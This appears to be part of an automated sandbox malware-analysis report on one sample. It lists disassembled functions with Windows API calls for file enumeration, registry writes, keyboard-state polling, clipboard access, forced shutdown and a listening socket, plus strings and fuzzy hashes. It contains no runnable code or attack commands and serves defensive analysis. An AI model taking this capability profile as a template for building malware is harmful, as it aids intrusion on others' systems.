Function 006BEF95 Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 119fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,76F88FB0,?,00000000), ref: 006BEFB6
_wcscmp.LIBCMT ref: 006BEFCB
_wcscmp.LIBCMT ref: 006BEFE2
GetFileAttributesW.KERNEL32(?), ref: 006BEFF4
SetFileAttributesW.KERNEL32(?,?), ref: 006BF00E
FindNextFileW.KERNEL32(00000000,?), ref: 006BF026
FindClose.KERNEL32(00000000), ref: 006BF031
FindFirstFileW.KERNEL32(*.*,?), ref: 006BF04D
_wcscmp.LIBCMT ref: 006BF074
_wcscmp.LIBCMT ref: 006BF08B
SetCurrentDirectoryW.KERNEL32(?), ref: 006BF09D
SetCurrentDirectoryW.KERNEL32(00708920), ref: 006BF0BB
FindNextFileW.KERNEL32(00000000,00000010), ref: 006BF0C5
FindClose.KERNEL32(00000000), ref: 006BF0D2
FindClose.KERNEL32(00000000), ref: 006BF0E4

Strings

*.*, xrefs: 006BF048

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$AttributesCurrentDirectoryFirstNext
String ID: *.*
API String ID: 1803514871-438819550
Opcode ID: e53cdabd49397056a4244269ddc94b863d4079e6ae19ff2f3b870f765b4f0d22
Instruction ID: 8efa955a30a0a97cf532fa087b58c0784474f82c10087da9c171c16ff6a55212
Opcode Fuzzy Hash: e53cdabd49397056a4244269ddc94b863d4079e6ae19ff2f3b870f765b4f0d22
Instruction Fuzzy Hash: 633113729012196ADB10EFB4DC58AEE77AE9F48320F044176E845E22B1DB70DE80CB65

Function 006D0857 Relevance: 26.7, APIs: 9, Strings: 6, Instructions: 477registryCOMMON

Download Yara Rule

APIs

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 006D0953
RegCreateKeyExW.ADVAPI32(?,?,00000000,006DF910,00000000,?,00000000,?,?), ref: 006D09C1
RegCloseKey.ADVAPI32(00000000,00000001,00000000,00000000,00000000), ref: 006D0A09
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000002,?), ref: 006D0A92
RegCloseKey.ADVAPI32(?), ref: 006D0DB2
RegCloseKey.ADVAPI32(00000000), ref: 006D0DBF

Strings

REG_QWORD, xrefs: 006D0D00
REG_MULTI_SZ, xrefs: 006D0B7A
REG_DWORD, xrefs: 006D0C83
REG_EXPAND_SZ, xrefs: 006D0A2F
REG_BINARY, xrefs: 006D0D4D
REG_SZ, xrefs: 006D0AD0

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Close$ConnectCreateRegistryValue
String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
API String ID: 536824911-966354055
Opcode ID: a62f78d03bf7643921a6c6f131a460d55d2b9122952c9d4cd5b80e85e233aca7
Instruction ID: 4a094273d5c976e126b5530d5ea52db9430cf161286acce921f6c88375a3b467
Opcode Fuzzy Hash: a62f78d03bf7643921a6c6f131a460d55d2b9122952c9d4cd5b80e85e233aca7
Instruction Fuzzy Hash: 7E0269756006019FDB54EF24C851E6AB7E6FF89314F04895EF88A9B3A2CB30ED05CB95

Function 006666E1 Relevance: 25.9, Strings: 20, Instructions: 889COMMON

Download Yara Rule

Strings

3cf, xrefs: 006668FF
ANY), xrefs: 006A12DE
BSR_ANYCRLF), xrefs: 006A131E
CR), xrefs: 006A1287
pGo, xrefs: 00666751
CRLF), xrefs: 006A12C1
ANYCRLF), xrefs: 006A12FB
0Fo, xrefs: 00666747
UTF16), xrefs: 006A10CF
_f, xrefs: 006A1465, 006A150C, 006A15B4
0Eo, xrefs: 0066673D
NO_AUTO_POSSESS), xrefs: 006A112E
LIMIT_MATCH=, xrefs: 006A1170
UTF), xrefs: 006A10FA
BSR_UNICODE), xrefs: 006A1338
0Do, xrefs: 00666733
LF), xrefs: 006A12A4
NO_START_OPT), xrefs: 006A114F
LIMIT_RECURSION=, xrefs: 006A11FC
UCP), xrefs: 006A110D

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID:
String ID: 0Do$0Eo$0Fo$3cf$ANY)$ANYCRLF)$BSR_ANYCRLF)$BSR_UNICODE)$CR)$CRLF)$LF)$LIMIT_MATCH=$LIMIT_RECURSION=$NO_AUTO_POSSESS)$NO_START_OPT)$UCP)$UTF)$UTF16)$pGo$_f
API String ID: 0-4072837325
Opcode ID: c65a8801d927344b6a658d3f5518162fc5d094e169b7715d7e9d654542bc8813
Instruction ID: 9772ce2c579fb146f0051bab540c6dcb113fb999d88454cfe58a623b6b1ff80e
Opcode Fuzzy Hash: c65a8801d927344b6a658d3f5518162fc5d094e169b7715d7e9d654542bc8813
Instruction Fuzzy Hash: AE725D75E00219DBDB14DF59D8807EEB7B6EF4A310F14816AE905EB291EB349E81CF90

Function 006BF0F2 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 112fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,76F88FB0,?,00000000), ref: 006BF113
_wcscmp.LIBCMT ref: 006BF128
_wcscmp.LIBCMT ref: 006BF13F

Part of subcall function 006B4385: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 006B43A0

FindNextFileW.KERNEL32(00000000,?), ref: 006BF16E
FindClose.KERNEL32(00000000), ref: 006BF179
FindFirstFileW.KERNEL32(*.*,?), ref: 006BF195
_wcscmp.LIBCMT ref: 006BF1BC
_wcscmp.LIBCMT ref: 006BF1D3
SetCurrentDirectoryW.KERNEL32(?), ref: 006BF1E5
SetCurrentDirectoryW.KERNEL32(00708920), ref: 006BF203
FindNextFileW.KERNEL32(00000000,00000010), ref: 006BF20D
FindClose.KERNEL32(00000000), ref: 006BF21A
FindClose.KERNEL32(00000000), ref: 006BF22C

Strings

*.*, xrefs: 006BF190

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$CurrentDirectoryFirstNext$Create
String ID: *.*
API String ID: 1824444939-438819550
Opcode ID: 6fea2ac5f5bf2edd046d9220385ef54f84956935a5ac31f05742b57046af3050
Instruction ID: 932677a3d7449786cab04d2ed06e8509c631ed56b927783d30ff4cc405ef11b5
Opcode Fuzzy Hash: 6fea2ac5f5bf2edd046d9220385ef54f84956935a5ac31f05742b57046af3050
Instruction Fuzzy Hash: 53310776901219BADB10AFB4EC59AEE77AE9F45320F104276E844E22B0DB31DF85CB54

Function 006BA1EF Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 102fileCOMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 006BA20F
__swprintf.LIBCMT ref: 006BA231
CreateDirectoryW.KERNEL32(?,00000000), ref: 006BA26E
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 006BA293
_memset.LIBCMT ref: 006BA2B2
_wcsncpy.LIBCMT ref: 006BA2EE
DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 006BA323
CloseHandle.KERNEL32(00000000), ref: 006BA32E
RemoveDirectoryW.KERNEL32(?), ref: 006BA337
CloseHandle.KERNEL32(00000000), ref: 006BA341

Strings

\, xrefs: 006BA247
:, xrefs: 006BA252
\??\%s, xrefs: 006BA22B

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove__swprintf_memset_wcsncpy
String ID: :$\$\??\%s
API String ID: 2733774712-3457252023
Opcode ID: 3d7351a0459d1065f1e3ad794345babb4e254933100217495a4b7285ca7b5019
Instruction ID: b4fe692e188aa13eb29ab7dbb7fce9cb9d16dfebcbf8ca7d981b5598d0856158
Opcode Fuzzy Hash: 3d7351a0459d1065f1e3ad794345babb4e254933100217495a4b7285ca7b5019
Instruction Fuzzy Hash: 2731E6B1900109ABDB20DFA0DC49FEB37BEEF89700F1041B6F509D2260EB7197848B65

Function 006B001C Relevance: 18.2, APIs: 12, Instructions: 186keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 006B0097
SetKeyboardState.USER32(?), ref: 006B0102
GetAsyncKeyState.USER32(000000A0), ref: 006B0122
GetKeyState.USER32(000000A0), ref: 006B0139
GetAsyncKeyState.USER32(000000A1), ref: 006B0168
GetKeyState.USER32(000000A1), ref: 006B0179
GetAsyncKeyState.USER32(00000011), ref: 006B01A5
GetKeyState.USER32(00000011), ref: 006B01B3
GetAsyncKeyState.USER32(00000012), ref: 006B01DC
GetKeyState.USER32(00000012), ref: 006B01EA
GetAsyncKeyState.USER32(0000005B), ref: 006B0213
GetKeyState.USER32(0000005B), ref: 006B0221

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: 1f825c6c13f3afed44a47d434fd66c067a877f8b84a4f9abb5a89193243c6233
Instruction ID: 7d99ee834c5db7bd080b95056d7c06ca9c2194a2ae877fa53b7418203bbd4ad4
Opcode Fuzzy Hash: 1f825c6c13f3afed44a47d434fd66c067a877f8b84a4f9abb5a89193243c6233
Instruction Fuzzy Hash: AE51ECB090478829FB35EBA488547EBBFB69F11380F08459ED5C2572C2DA649BCCC761

Function 006D03DA Relevance: 16.9, APIs: 11, Instructions: 397registryCOMMON

Download Yara Rule

APIs

Part of subcall function 006D0E1A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,006CFDAD,?,?), ref: 006D0E31

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 006D04AC

Part of subcall function 00659837: __itow.LIBCMT ref: 00659862
Part of subcall function 00659837: __swprintf.LIBCMT ref: 006598AC

RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 006D054B
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000008), ref: 006D05E3
RegCloseKey.ADVAPI32(000000FE,000000FE,00000000,?,00000000), ref: 006D0822
RegCloseKey.ADVAPI32(00000000), ref: 006D082F

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: CloseQueryValue$BuffCharConnectRegistryUpper__itow__swprintf
String ID:
API String ID: 1240663315-0
Opcode ID: 206e5bc81eb4958f073fd712853334fb232a4dd204fc0a40d10b57572ac083b1
Instruction ID: b2edfb926cbf298a66f83154d22f2f9a82878dc94c0b9fb6b79e244854ccf07d
Opcode Fuzzy Hash: 206e5bc81eb4958f073fd712853334fb232a4dd204fc0a40d10b57572ac083b1
Instruction Fuzzy Hash: 42E14F71604200EFDB54DF24C895E6ABBE6EF89314F04896EF84ADB361D631ED05CB92

Function 006C83BB Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 197comCOMMON

Download Yara Rule

APIs

Part of subcall function 00659837: __itow.LIBCMT ref: 00659862
Part of subcall function 00659837: __swprintf.LIBCMT ref: 006598AC

CoInitialize.OLE32 ref: 006C8403
CoUninitialize.OLE32 ref: 006C840E
CoCreateInstance.OLE32(?,00000000,00000017,006E2BEC,?), ref: 006C846E
IIDFromString.OLE32(?,?), ref: 006C84E1
VariantInit.OLEAUT32(?), ref: 006C857B
VariantClear.OLEAUT32(?), ref: 006C85DC

Strings

NULL Pointer assignment, xrefs: 006C84B3
Failed to create object, xrefs: 006C8479, 006C852F
Invalid parameter, xrefs: 006C84FA

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize__itow__swprintf
String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
API String ID: 834269672-1287834457
Opcode ID: 0c0fb41be119c0e5ffa04f8587cc3f67b6e073da4818846d0566cec115c1b4db
Instruction ID: 62a4befc3d50fca233dd75e9e45c91f0e864969453d30d9d066005e23fa4e895
Opcode Fuzzy Hash: 0c0fb41be119c0e5ffa04f8587cc3f67b6e073da4818846d0566cec115c1b4db
Instruction Fuzzy Hash: 93619B706083129FC760DF24C848FAAB7EAEF49714F04481DF9869B291CB70ED49CB92

Function 006C4164 Relevance: 15.1, APIs: 10, Instructions: 83clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 006C418B
EmptyClipboard.USER32 ref: 006C4191
GlobalAlloc.KERNEL32(00000002,?), ref: 006C41A6
CloseClipboard.USER32 ref: 006C4245

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Clipboard$AllocCloseEmptyGlobalOpen
String ID:
API String ID: 1737998785-0
Opcode ID: ba9f8263d3521a27e9451ffd0b053d70750feaafe0e632a749e8ddae2885db53
Instruction ID: 9464fb13cd7aa73cca7f8844b79c0f73f75c65db69974366d6f9a3f2abe6d820
Opcode Fuzzy Hash: ba9f8263d3521a27e9451ffd0b053d70750feaafe0e632a749e8ddae2885db53
Instruction Fuzzy Hash: F721AB35A012109FDB10AF64EC19F7A7BAAEF44761F14802AF946DB2A1CB34ED01CB58

Function 006B37EF Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 167fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00654750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00654743,?,?,006537AE,?), ref: 00654770

Part of subcall function 006B4A31: GetFileAttributesW.KERNEL32(?,006B370B), ref: 006B4A32

FindFirstFileW.KERNEL32(?,?), ref: 006B38A3
DeleteFileW.KERNEL32(?,?,00000000,?,?,?,?), ref: 006B394B
MoveFileW.KERNEL32(?,?), ref: 006B395E
DeleteFileW.KERNEL32(?,?,?,?,?), ref: 006B397B
FindNextFileW.KERNEL32(00000000,00000010), ref: 006B399D
FindClose.KERNEL32(00000000,?,?,?,?), ref: 006B39B9

Strings

\*.*, xrefs: 006B384E, 006B3857, 006B386C

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: File$Find$Delete$AttributesCloseFirstFullMoveNameNextPath
String ID: \*.*
API String ID: 4002782344-1173974218
Opcode ID: 79fbda9ad83e0cc977186b1a2ddaf4dfefad248d14af08af0a05690f8026f0f6
Instruction ID: 4e109a33123d595f0104bb070e4f25f6aa44a43bfd5e90d59326018ffe63f5e1
Opcode Fuzzy Hash: 79fbda9ad83e0cc977186b1a2ddaf4dfefad248d14af08af0a05690f8026f0f6
Instruction Fuzzy Hash: 93518E7190515CAACF11FBA0D9929EDB77AAF14301F60016DE802B72A2EF316F4DCB65

Function 006BF3F3 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 120filesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00657DE1: _memmove.LIBCMT ref: 00657E22

FindFirstFileW.KERNEL32(?,?,*.*,?,?,00000000,00000000), ref: 006BF440
Sleep.KERNEL32(0000000A), ref: 006BF470
_wcscmp.LIBCMT ref: 006BF484
_wcscmp.LIBCMT ref: 006BF49F
FindNextFileW.KERNEL32(?,?), ref: 006BF53D
FindClose.KERNEL32(00000000), ref: 006BF553

Strings

*.*, xrefs: 006BF425

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Find$File_wcscmp$CloseFirstNextSleep_memmove
String ID: *.*
API String ID: 713712311-438819550
Opcode ID: 46dddebbfd059e30b399d2f0aa04860a2fdacb4f3cfa97087fbbef0634809b4b
Instruction ID: 9213b265225ff31958821a5adc805e977aea1b3c01826f1d7ce62ef20945c1e8
Opcode Fuzzy Hash: 46dddebbfd059e30b399d2f0aa04860a2fdacb4f3cfa97087fbbef0634809b4b
Instruction Fuzzy Hash: D54180B290021A9FCF60DF64DC45AEEBBB6FF15310F14456AE815A32A1DB309E95CF50

Function 00663030 Relevance: 11.1, APIs: 4, Strings: 2, Instructions: 587COMMON

Download Yara Rule

Strings

_f, xrefs: 00663322
3cf, xrefs: 00663225

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: __itow__swprintf
String ID: 3cf$_f
API String ID: 674341424-1617663849
Opcode ID: 6b9bb71e90b0b2149116546ab65b1c82ade82b40579d8b221b7db4d20cd39dbd
Instruction ID: 313aa3de88667e8332490b3f98fa28c85062342c1f6d2ca545c70e73dcb8a3b3
Opcode Fuzzy Hash: 6b9bb71e90b0b2149116546ab65b1c82ade82b40579d8b221b7db4d20cd39dbd
Instruction Fuzzy Hash: B322AE716083109FCB64DF24C891BAEB7E6AF84310F04491DF89A97391DB31EE09CB96

Function 00665760 Relevance: 11.0, APIs: 7, Instructions: 532COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 006658A5
_memmove.LIBCMT ref: 006658F5
_memmove.LIBCMT ref: 0066595B

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: bd3c0f218a0f28516c94bf6b873662f2c4020d297828458b88db8591f55deca7
Instruction ID: faa0bc69d78fbffdc0a4a83f6255c8a8ecb9719273cd7c529be8e61581dd27dc
Opcode Fuzzy Hash: bd3c0f218a0f28516c94bf6b873662f2c4020d297828458b88db8591f55deca7
Instruction Fuzzy Hash: 6A128B70A00609DFDF14DFA5D982AEEB7F6FF48300F108669E806A7251EB35AD15CB64

Function 006B51BD Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 006A87E1: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 006A882B
Part of subcall function 006A87E1: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 006A8858
Part of subcall function 006A87E1: GetLastError.KERNEL32 ref: 006A8865

ExitWindowsEx.USER32(?,00000000), ref: 006B51F9

Strings

SeShutdownPrivilege, xrefs: 006B51C9
@, xrefs: 006B51EC
, xrefs: 006B51E7

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
String ID: $@$SeShutdownPrivilege
API String ID: 2234035333-194228
Opcode ID: 4524dc64e6fd75452cd6e099f267b2d8c1bc94e4f3e595df6662237b668ce700
Instruction ID: 88dfb7b03bac580494d9a5f88bfe44fd8f9119009049afcba5d31ec85a55c661
Opcode Fuzzy Hash: 4524dc64e6fd75452cd6e099f267b2d8c1bc94e4f3e595df6662237b668ce700
Instruction Fuzzy Hash: 0701FCF17A36115FE73863689C9BFFA735A9B05340F140425F943D21D2D9715D814794

Function 006C6283 Relevance: 9.1, APIs: 6, Instructions: 84networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000001,00000006,?,00000002,00000000), ref: 006C62DC
WSAGetLastError.WSOCK32(00000000), ref: 006C62EB
bind.WSOCK32(00000000,?,00000010), ref: 006C6307
listen.WSOCK32(00000000,00000005), ref: 006C6316
WSAGetLastError.WSOCK32(00000000), ref: 006C6330
closesocket.WSOCK32(00000000,00000000), ref: 006C6344

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: ErrorLast$bindclosesocketlistensocket
String ID:
API String ID: 1279440585-0
Opcode ID: 8382040b6e972d40cbdd87f8c00abb2a407e5637915f0aca05b7c4748d9bb03e
Instruction ID: 580f11c6a6410e1701128820e48fb81e93374c6923b21078d8f27ca014f41b2d
Opcode Fuzzy Hash: 8382040b6e972d40cbdd87f8c00abb2a407e5637915f0aca05b7c4748d9bb03e
Instruction Fuzzy Hash: 66218D31A002049FCB10EF64D849FBEB7AAEF49721F14855DF81AA7391C770AD05CB65

Function 00665520 Relevance: 8.0, APIs: 5, Instructions: 516COMMON

Download Yara Rule

APIs

